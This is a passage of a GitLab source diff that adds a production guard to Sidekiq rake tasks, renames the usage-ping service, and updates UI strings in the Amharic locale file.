- .to_h { |worker| [worker.klass.to_s, ::Gitlab::SidekiqConfig::WorkerRouter.global.route(worker.klass)] }
- end
-
desc 'GitLab | Sidekiq | Migrate jobs in the scheduled set to new queue names'
task schedule: :environment do
::Gitlab::SidekiqMigrateJobs
.new('schedule', logger: Logger.new($stdout))
- .execute(mappings)
+ .execute(::Gitlab::SidekiqConfig.worker_queue_mappings)
end
desc 'GitLab | Sidekiq | Migrate jobs in the retry set to new queue names'
task retry: :environment do
::Gitlab::SidekiqMigrateJobs
.new('retry', logger: Logger.new($stdout))
- .execute(mappings)
+ .execute(::Gitlab::SidekiqConfig.worker_queue_mappings)
end
end
+ task :not_production do
+ raise 'This task cannot be run in the production environment' if Rails.env.production?
+ end
+
namespace :all_queues_yml do
desc 'GitLab | Sidekiq | Generate all_queues.yml based on worker definitions'
- task generate: :environment do
+ task generate: ['gitlab:sidekiq:not_production', :environment] do
banner = <<~BANNER
# This file is generated automatically by
# bin/rake gitlab:sidekiq:all_queues_yml:generate
@@ -51,7 +46,7 @@ namespace :gitlab do
end
desc 'GitLab | Sidekiq | Validate that all_queues.yml matches worker definitions'
- task check: :environment do
+ task check: ['gitlab:sidekiq:not_production', :environment] do
if Gitlab::SidekiqConfig.all_queues_yml_outdated?
raise <<~MSG
Changes in worker queues found, please update the metadata by running:
@@ -70,7 +65,7 @@ namespace :gitlab do
namespace :sidekiq_queues_yml do
desc 'GitLab | Sidekiq | Generate sidekiq_queues.yml based on worker definitions'
- task generate: :environment do
+ task generate: ['gitlab:sidekiq:not_production', :environment] do
banner = <<~BANNER
# This file is generated automatically by
# bin/rake gitlab:sidekiq:sidekiq_queues_yml:generate
@@ -104,7 +99,7 @@ namespace :gitlab do
end
desc 'GitLab | Sidekiq | Validate that sidekiq_queues.yml matches worker definitions'
- task check: :environment do
+ task check: ['gitlab:sidekiq:not_production', :environment] do
if Gitlab::SidekiqConfig.sidekiq_queues_yml_outdated?
raise <<~MSG
Changes in worker queues found, please update the metadata by running:
diff --git a/lib/tasks/gitlab/usage_data.rake b/lib/tasks/gitlab/usage_data.rake
index 0ad50c0fa53..166f08ef16a 100644
--- a/lib/tasks/gitlab/usage_data.rake
+++ b/lib/tasks/gitlab/usage_data.rake
@@ -19,7 +19,7 @@ namespace :gitlab do
desc 'GitLab | UsageData | Generate usage ping and send it to Versions Application'
task generate_and_send: :environment do
- result = SubmitUsagePingService.new.execute
+ result = ServicePing::SubmitService.new.execute
puts Gitlab::Json.pretty_generate(result.attributes)
end
diff --git a/locale/am_ET/gitlab.po b/locale/am_ET/gitlab.po
index 150518235e6..8d0e79d4477 100644
--- a/locale/am_ET/gitlab.po
+++ b/locale/am_ET/gitlab.po
@@ -14,14 +14,11 @@ msgstr ""
"X-Crowdin-Language: am\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-06-01 20:32\n"
+"PO-Revision-Date: 2021-07-01 21:15\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
-msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
-msgstr ""
-
msgid " %{start} to %{end}"
msgstr ""
@@ -89,6 +86,9 @@ msgstr ""
msgid "\"el\" parameter is required for createInstance()"
msgstr ""
+msgid "#general, #development"
+msgstr ""
+
msgid "%d Approval"
msgid_plural "%d Approvals"
msgstr[0] ""
@@ -267,11 +267,6 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
-msgid "%d item"
-msgid_plural "%d items"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] "%d ንብርብር"
@@ -421,6 +416,24 @@ msgstr "የ%{authorsName} ክር"
msgid "%{board_target} not found"
msgstr ""
+msgid "%{bold_start}%{count}%{bold_end} issue"
+msgid_plural "%{bold_start}%{count}%{bold_end} issues"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} member"
+msgid_plural "%{bold_start}%{count}%{bold_end} members"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} opened merge request"
+msgid_plural "%{bold_start}%{count}%{bold_end} opened merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{closedWeight} complete, %{openWeight} incomplete"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -464,6 +477,11 @@ msgstr "ከ%{name} %{count} áቃዶች"
msgid "%{count} files touched"
msgstr "%{count} á‹á‹­áˆŽá‰½ ተáŠáŠ­á‰°á‹‹áˆ"
+msgid "%{count} item"
+msgid_plural "%{count} items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} items per page"
msgstr ""
@@ -654,11 +672,11 @@ msgstr "%{level_name} በ%{group_level_name} ቡድን á‹áˆµáŒ¥ አይáˆá‰€á‹µ
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr "የá•áˆ®áŒ€áŠ­á‰± fork áˆáŠ•áŒ­ á‹á‰…ተኛ እይታ ስላለዠ%{level_name} የተከለከለ áŠá‹á¢"
-msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
+msgid "%{link_start}Learn more%{link_end} about roles."
msgstr ""
-msgid "%{link_start}Read more%{link_end} about role permissions"
-msgstr "ስለሚና áˆá‰ƒá‹¶á‰½ %{link_start}ተጨማሪ ያንብቡ%{link_end}"
+msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
+msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -821,6 +839,9 @@ msgid_plural "%{securityScanner} results are not available because a pipeline ha
msgstr[0] ""
msgstr[1] ""
+msgid "%{service_ping_link_start}Learn more%{service_ping_link_end} about what information is shared with GitLab Inc."
+msgstr ""
+
msgid "%{size} %{unit}"
msgstr ""
@@ -854,9 +875,6 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
-msgid "%{strongStart}Deletes%{strongEnd} source branch"
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -957,12 +975,6 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
-msgid "%{type} License"
-msgstr ""
-
-msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
-msgstr ""
-
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -993,6 +1005,9 @@ msgstr ""
msgid "%{user} created an issue: %{issue_link}"
msgstr ""
+msgid "%{value} is not included in the list"
+msgstr ""
+
msgid "%{value} s"
msgstr ""
@@ -1480,9 +1495,6 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
-msgid "A rule must be provided to create an escalation policy"
-msgstr ""
-
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1543,18 +1555,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet could not be generated. Try again later."
msgstr ""
-msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
-msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
-msgstr ""
-
-msgid "APIFuzzing|Copy code only"
-msgstr ""
-
msgid "APIFuzzing|Customize common API fuzzing settings to suit your requirements. For details of more advanced configuration options, see the %{docsLinkStart}GitLab API Fuzzing documentation%{docsLinkEnd}."
msgstr ""
@@ -1759,13 +1762,13 @@ msgstr ""
msgid "AccessTokens|It cannot be used to access any other data."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can access repository static objects as if they were you. You should %{reset_link_start}reset it%{reset_link_end} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can access repository static objects as if they were you. If that ever happens, %{reset_link_start}reset this token%{reset_link_end}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can create issues as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can create issues as if they were you. If that happens, %{link_reset_it}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can read activity and issue RSS feeds or your calendar feed as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you. If that happens, %{link_reset_it}."
msgstr ""
msgid "AccessTokens|Personal Access Tokens"
@@ -1783,16 +1786,16 @@ msgstr ""
msgid "AccessTokens|You can generate a personal access token for each application you use that needs access to the GitLab API."
msgstr ""
-msgid "AccessTokens|Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs."
+msgid "AccessTokens|Your feed token authenticates you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar. It is visible in those feed URLs."
msgstr ""
-msgid "AccessTokens|Your incoming email token is used to authenticate you when you create a new issue by email, and is included in your personal project-specific email addresses."
+msgid "AccessTokens|Your incoming email token authenticates you when you create a new issue by email, and is included in your personal project-specific email addresses."
msgstr ""
-msgid "AccessTokens|Your static object token is used to authenticate you when repository static objects (e.g. archives, blobs, ...) are being served from an external storage."
+msgid "AccessTokens|Your static object token authenticates you when repository static objects (such as archives or blobs) are served from an external storage."
msgstr ""
-msgid "AccessTokens|reset it"
+msgid "AccessTokens|reset this token"
msgstr ""
msgid "AccessibilityReport|Learn more"
@@ -1912,6 +1915,9 @@ msgstr ""
msgid "Add a comment to this line or drag for multiple lines"
msgstr ""
+msgid "Add a custom message with details about the instance's shared runners. The message is visible in group and project CI/CD settings, in the Runners section. Markdown is supported."
+msgstr ""
+
msgid "Add a general comment to this %{noteableDisplayName}."
msgstr ""
@@ -1921,6 +1927,9 @@ msgstr ""
msgid "Add a homepage to your wiki that contains information about your project and GitLab will display it here instead of this message."
msgstr ""
+msgid "Add a horizontal rule"
+msgstr ""
+
msgid "Add a line"
msgstr ""
@@ -1984,6 +1993,9 @@ msgstr ""
msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
msgstr ""
+msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2110,6 +2122,9 @@ msgstr ""
msgid "AddMember|Invite limit of %{daily_invites} per day exceeded"
msgstr ""
+msgid "AddMember|No invite source provided."
+msgstr ""
+
msgid "AddMember|No users specified."
msgstr ""
@@ -2344,9 +2359,6 @@ msgstr ""
msgid "AdminSettings|Enable shared runners for new projects"
msgstr ""
-msgid "AdminSettings|Environment variables are protected by default"
-msgstr ""
-
msgid "AdminSettings|Feed token"
msgstr ""
@@ -2359,19 +2371,22 @@ msgstr ""
msgid "AdminSettings|Moved to integrations"
msgstr ""
+msgid "AdminSettings|New CI/CD variables in projects and groups default to protected."
+msgstr ""
+
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|Required pipeline configuration"
+msgid "AdminSettings|Protect CI/CD variables by default"
msgstr ""
-msgid "AdminSettings|See affected service templates"
+msgid "AdminSettings|Required pipeline configuration"
msgstr ""
-msgid "AdminSettings|Select a pipeline configuration file"
+msgid "AdminSettings|See affected service templates"
msgstr ""
-msgid "AdminSettings|Select a template"
+msgid "AdminSettings|Select a CI/CD template"
msgstr ""
msgid "AdminSettings|Service template allows you to set default values for integrations"
@@ -2383,7 +2398,7 @@ msgstr ""
msgid "AdminSettings|Session duration for Git operations when 2FA is enabled (minutes)"
msgstr ""
-msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
+msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
@@ -2392,10 +2407,7 @@ msgstr ""
msgid "AdminSettings|The latest artifacts for all jobs in the most recent successful pipelines in each project are stored and do not expire."
msgstr ""
-msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
-msgstr ""
-
-msgid "AdminSettings|When creating a new environment variable it will be protected by default."
+msgid "AdminSettings|The template for the required pipeline configuration can be one of the GitLab-provided templates, or a custom template added to an instance template repository. %{link_start}How do I create an instance template repository?%{link_end}"
msgstr ""
msgid "AdminSettings|You can't add new templates. To migrate or remove a Service template, create a new integration at %{settings_link_start}Settings &gt; Integrations%{link_end}. Learn more about %{doc_link_start}Project integration management%{link_end}."
@@ -2806,9 +2818,21 @@ msgstr ""
msgid "Admin|Admin notes"
msgstr ""
+msgid "Admin|Learn more about quarterly reconciliation"
+msgstr ""
+
msgid "Admin|Note"
msgstr ""
+msgid "Admin|Quarterly reconciliation will occur on %{qrtlyDate}"
+msgstr ""
+
+msgid "Admin|The number of max seats used for your namespace is currently exceeding the number of seats in your subscription. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
+msgid "Admin|The number of maximum users for your instance is currently exceeding the number of users in license. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -3027,12 +3051,18 @@ msgstr ""
msgid "AlertSettings|Add new integration"
msgstr ""
+msgid "AlertSettings|Alert settings"
+msgstr ""
+
msgid "AlertSettings|Authorization key"
msgstr ""
msgid "AlertSettings|Configure details"
msgstr ""
+msgid "AlertSettings|Current integrations"
+msgstr ""
+
msgid "AlertSettings|Customize alert payload mapping (optional)"
msgstr ""
@@ -3159,9 +3189,6 @@ msgstr ""
msgid "AlertsIntegrations|Alerts will not be created through this integration"
msgstr ""
-msgid "AlertsIntegrations|Current integrations"
-msgstr ""
-
msgid "AlertsIntegrations|If you delete the %{integrationName} integration, alerts are no longer sent from this endpoint. This action cannot be undone."
msgstr ""
@@ -3228,6 +3255,9 @@ msgstr ""
msgid "All epics"
msgstr ""
+msgid "All escalations rules must have a schedule in the same project as the policy"
+msgstr ""
+
msgid "All groups and projects"
msgstr ""
@@ -3387,9 +3417,6 @@ msgstr ""
msgid "Amazon EKS integration allows you to provision EKS clusters from GitLab."
msgstr ""
-msgid "Amazon Web Services"
-msgstr ""
-
msgid "Amazon Web Services Logo"
msgstr ""
@@ -3462,9 +3489,6 @@ msgstr ""
msgid "An error occurred when toggling the notification subscription"
msgstr ""
-msgid "An error occurred when updating the issue due date"
-msgstr ""
-
msgid "An error occurred when updating the issue weight"
msgstr ""
@@ -3516,6 +3540,9 @@ msgstr ""
msgid "An error occurred while enabling Service Desk."
msgstr ""
+msgid "An error occurred while fetching ancestors"
+msgstr ""
+
msgid "An error occurred while fetching branches. Retry the search."
msgstr ""
@@ -3606,6 +3633,9 @@ msgstr ""
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
+msgid "An error occurred while getting issue counts"
+msgstr ""
+
msgid "An error occurred while getting projects"
msgstr ""
@@ -3762,9 +3792,6 @@ msgstr ""
msgid "An error occurred while updating the configuration."
msgstr ""
-msgid "An error occurred while updating the milestone."
-msgstr ""
-
msgid "An error occurred while updating the notification settings. Please try again."
msgstr ""
@@ -4041,9 +4068,6 @@ msgstr ""
msgid "Apply a template"
msgstr ""
-msgid "Apply changes"
-msgstr ""
-
msgid "Apply suggestion"
msgstr ""
@@ -4133,15 +4157,9 @@ msgstr ""
msgid "ApprovalRule|Rule name"
msgstr ""
-msgid "ApprovalRule|Status check"
-msgstr ""
-
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|Users or groups"
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4527,9 +4545,6 @@ msgstr ""
msgid "At least one approval from a code owner is required to change files matching the respective CODEOWNER rules."
msgstr ""
-msgid "At least one logging option is required to be enabled"
-msgstr ""
-
msgid "At least one of group_id or project_id must be specified"
msgstr ""
@@ -4718,9 +4733,6 @@ msgstr ""
msgid "Auto DevOps enabled"
msgstr ""
-msgid "Auto DevOps, runners and job artifacts"
-msgstr ""
-
msgid "Auto stop successfully canceled."
msgstr ""
@@ -5108,6 +5120,9 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|Shared runners cannot be enabled until a valid credit card is on file."
+msgstr ""
+
msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -5250,6 +5265,9 @@ msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
msgstr[0] ""
msgstr[1] ""
+msgid "Boards|An error occurred while creating the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5309,6 +5327,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New epic"
+msgstr ""
+
msgid "Boards|Retrieving blocking %{issuableType}s"
msgstr ""
@@ -5339,6 +5360,9 @@ msgstr ""
msgid "Board|Enter board name"
msgstr ""
+msgid "Board|Failed to create epic. Please try again."
+msgstr ""
+
msgid "Board|Failed to delete board. Please try again."
msgstr ""
@@ -5561,6 +5585,9 @@ msgstr ""
msgid "Browse files"
msgstr ""
+msgid "Browse templates"
+msgstr ""
+
msgid "BuildArtifacts|An error occurred while fetching the artifacts"
msgstr ""
@@ -5729,6 +5756,9 @@ msgstr ""
msgid "CICDAnalytics|Deployment frequency"
msgstr ""
+msgid "CICDAnalytics|Lead time"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5776,10 +5806,10 @@ msgstr ""
msgid "CICD|Jobs"
msgstr ""
-msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs by default in all projects with no CI/CD configuration file."
msgstr ""
-msgid "CICD|The Auto DevOps pipeline will run if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
msgstr ""
msgid "CICD|group enabled"
@@ -5824,6 +5854,9 @@ msgstr ""
msgid "CVE|Why Request a CVE ID?"
msgstr ""
+msgid "Cadence is not automated"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5947,9 +5980,6 @@ msgstr ""
msgid "Cannot delete %{profile_name} referenced in security policy"
msgstr ""
-msgid "Cannot enable shared runners because parent group does not allow it"
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -6055,15 +6085,15 @@ msgstr ""
msgid "Change path"
msgstr ""
-msgid "Change permissions"
-msgstr ""
-
msgid "Change reviewer(s)"
msgstr ""
msgid "Change reviewer(s)."
msgstr ""
+msgid "Change role"
+msgstr ""
+
msgid "Change status"
msgstr ""
@@ -6340,6 +6370,9 @@ msgstr ""
msgid "Checkout|Failed to load states. Please try again."
msgstr ""
+msgid "Checkout|Failed to load the payment form. Please try again."
+msgstr ""
+
msgid "Checkout|Failed to register credit card. Please try again."
msgstr ""
@@ -6442,9 +6475,6 @@ msgstr ""
msgid "Choose a group"
msgstr ""
-msgid "Choose a role permission"
-msgstr ""
-
msgid "Choose a template"
msgstr ""
@@ -6472,6 +6502,9 @@ msgstr ""
msgid "Choose specific groups or storage shards"
msgstr ""
+msgid "Choose the preferred Runner and populate the AWS CFT."
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -6901,9 +6934,6 @@ msgstr ""
msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
-msgid "ClusterAgent|This project is not included in the GitLab.com rollout for Kubernetes agent"
-msgstr ""
-
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -6913,24 +6943,12 @@ msgstr ""
msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
-msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
-msgstr ""
-
-msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
-msgstr ""
-
-msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgid "ClusterApplicationsRemoved|One-click application management was removed in GitLab 14.0. Your applications are still installed in your cluster, and integrations continue working."
msgstr ""
msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|%{title} uninstalled successfully."
-msgstr ""
-
-msgid "ClusterIntegration|%{title} updated successfully."
-msgstr ""
-
msgid "ClusterIntegration|A cluster management project can be used to run deployment jobs with Kubernetes %{code_open}cluster-admin%{code_close} privileges."
msgstr ""
@@ -6964,15 +6982,6 @@ msgstr ""
msgid "ClusterIntegration|Advanced options on this Kubernetes cluster’s integration"
msgstr ""
-msgid "ClusterIntegration|All data not committed to GitLab will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All data will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All installed applications and related resources"
-msgstr ""
-
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -6985,9 +6994,6 @@ msgstr ""
msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
msgstr ""
-msgid "ClusterIntegration|Alternatively, "
-msgstr ""
-
msgid "ClusterIntegration|Amazon EKS"
msgstr ""
@@ -7009,9 +7015,6 @@ msgstr ""
msgid "ClusterIntegration|Any project namespaces"
msgstr ""
-msgid "ClusterIntegration|Any running pipelines will be canceled."
-msgstr ""
-
msgid "ClusterIntegration|Apply for credit"
msgstr ""
@@ -7030,15 +7033,6 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager"
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager is a native Kubernetes certificate management controller that helps with issuing certificates. Installing Cert-Manager on your cluster will issue a certificate by %{linkStart}Let's Encrypt%{linkEnd} and ensure that certificates are valid and up-to-date."
-msgstr ""
-
msgid "ClusterIntegration|Certificate Authority bundle (PEM format)"
msgstr ""
@@ -7060,9 +7054,6 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{linkStart}instance type%{linkEnd}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
-msgstr ""
-
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
@@ -7075,15 +7066,12 @@ msgstr ""
msgid "ClusterIntegration|Cluster Region"
msgstr ""
-msgid "ClusterIntegration|Cluster management project (alpha)"
+msgid "ClusterIntegration|Cluster management project"
msgstr ""
msgid "ClusterIntegration|Cluster name is required."
msgstr ""
-msgid "ClusterIntegration|Cluster_applications artifact too big. Maximum allowable size: %{human_size}"
-msgstr ""
-
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7105,15 +7093,6 @@ msgstr ""
msgid "ClusterIntegration|Copy CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Copy Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Knative Endpoint"
-msgstr ""
-
msgid "ClusterIntegration|Copy Kubernetes cluster name"
msgstr ""
@@ -7162,12 +7141,6 @@ msgstr ""
msgid "ClusterIntegration|Creating Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Crossplane"
-msgstr ""
-
-msgid "ClusterIntegration|Crossplane enables declarative provisioning of managed services from your cloud of choice using %{codeStart}kubectl%{codeEnd} or %{linkStart}GitLab Integration%{linkEnd}. Crossplane runs inside your Kubernetes cluster and supports secure connectivity and secrets management between app containers and the cloud services they depend on."
-msgstr ""
-
msgid "ClusterIntegration|Deletes all GitLab resources attached to this cluster during removal"
msgstr ""
@@ -7183,9 +7156,6 @@ msgstr ""
msgid "ClusterIntegration|Elastic Kubernetes Service"
msgstr ""
-msgid "ClusterIntegration|Elastic Stack"
-msgstr ""
-
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
@@ -7201,9 +7171,6 @@ msgstr ""
msgid "ClusterIntegration|Enable this setting if using role-based access control (RBAC)."
msgstr ""
-msgid "ClusterIntegration|Enabled stack"
-msgstr ""
-
msgid "ClusterIntegration|Enter new Service Token"
msgstr ""
@@ -7246,27 +7213,12 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|Fluentd"
-msgstr ""
-
-msgid "ClusterIntegration|Fluentd is an open source data collector, which lets you unify the data collection and consumption for a better use and understanding of data. It requires at least one of the following logs to be successfully installed."
-msgstr ""
-
msgid "ClusterIntegration|GitLab Agent managed clusters"
msgstr ""
-msgid "ClusterIntegration|GitLab Container Network Policies"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
-msgid "ClusterIntegration|GitLab Runner"
-msgstr ""
-
-msgid "ClusterIntegration|GitLab Runner connects to the repository and executes CI/CD jobs, pushing results back and deploying applications to production."
-msgstr ""
-
msgid "ClusterIntegration|GitLab failed to authenticate."
msgstr ""
@@ -7294,9 +7246,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm release failed to install"
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -7306,18 +7255,6 @@ msgstr ""
msgid "ClusterIntegration|In order to view the health of your cluster, you must first enable Prometheus in the Integrations tab."
msgstr ""
-msgid "ClusterIntegration|Ingress"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress gives you a way to route requests to services based on the request host or path, centralizing a number of services into a single entrypoint."
-msgstr ""
-
-msgid "ClusterIntegration|Installing Ingress may incur additional costs. Learn more about %{linkStart}pricing%{linkEnd}."
-msgstr ""
-
msgid "ClusterIntegration|Instance cluster"
msgstr ""
@@ -7339,39 +7276,9 @@ msgstr ""
msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
-msgid "ClusterIntegration|Issuer Email"
-msgstr ""
-
-msgid "ClusterIntegration|Issuers represent a certificate authority. You must provide an email address for your Issuer."
-msgstr ""
-
-msgid "ClusterIntegration|Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub, a multi-user Hub, spawns, manages, and proxies multiple instances of the single-user Jupyter notebook server. JupyterHub can be used to serve notebooks to a class of students, a corporate data science group, or a scientific research group."
-msgstr ""
-
msgid "ClusterIntegration|Key pair name"
msgstr ""
-msgid "ClusterIntegration|Knative"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Domain Name:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Endpoint:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative domain name was updated successfully."
-msgstr ""
-
-msgid "ClusterIntegration|Knative extends Kubernetes to provide a set of middleware components that are essential to build modern, source-centric, and container-based applications that can run anywhere: on premises, in the cloud, or even in a third-party data center."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes cluster is being created..."
msgstr ""
@@ -7405,9 +7312,6 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
-msgid "ClusterIntegration|Legacy Helm Tiller server"
-msgstr ""
-
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -7456,12 +7360,6 @@ msgstr ""
msgid "ClusterIntegration|No VPCs found"
msgstr ""
-msgid "ClusterIntegration|No deployment cluster found for this job"
-msgstr ""
-
-msgid "ClusterIntegration|No deployment found for this job"
-msgstr ""
-
msgid "ClusterIntegration|No instance type found"
msgstr ""
@@ -7504,9 +7402,6 @@ msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr ""
-msgid "ClusterIntegration|Point a wildcard DNS to this generated endpoint in order to access your application after it has been deployed."
-msgstr ""
-
msgid "ClusterIntegration|Project cluster"
msgstr ""
@@ -7516,15 +7411,6 @@ msgstr ""
msgid "ClusterIntegration|Project namespace prefix (optional, unique)"
msgstr ""
-msgid "ClusterIntegration|Prometheus"
-msgstr ""
-
-msgid "ClusterIntegration|Prometheus is an open-source monitoring system with %{linkStart}GitLab Integration%{linkEnd} to monitor deployed applications."
-msgstr ""
-
-msgid "ClusterIntegration|Protect your clusters with GitLab Container Network Policies by enforcing how pods communicate with each other and other network endpoints. %{linkStart}Learn more about configuring Network Policies here.%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Provider details"
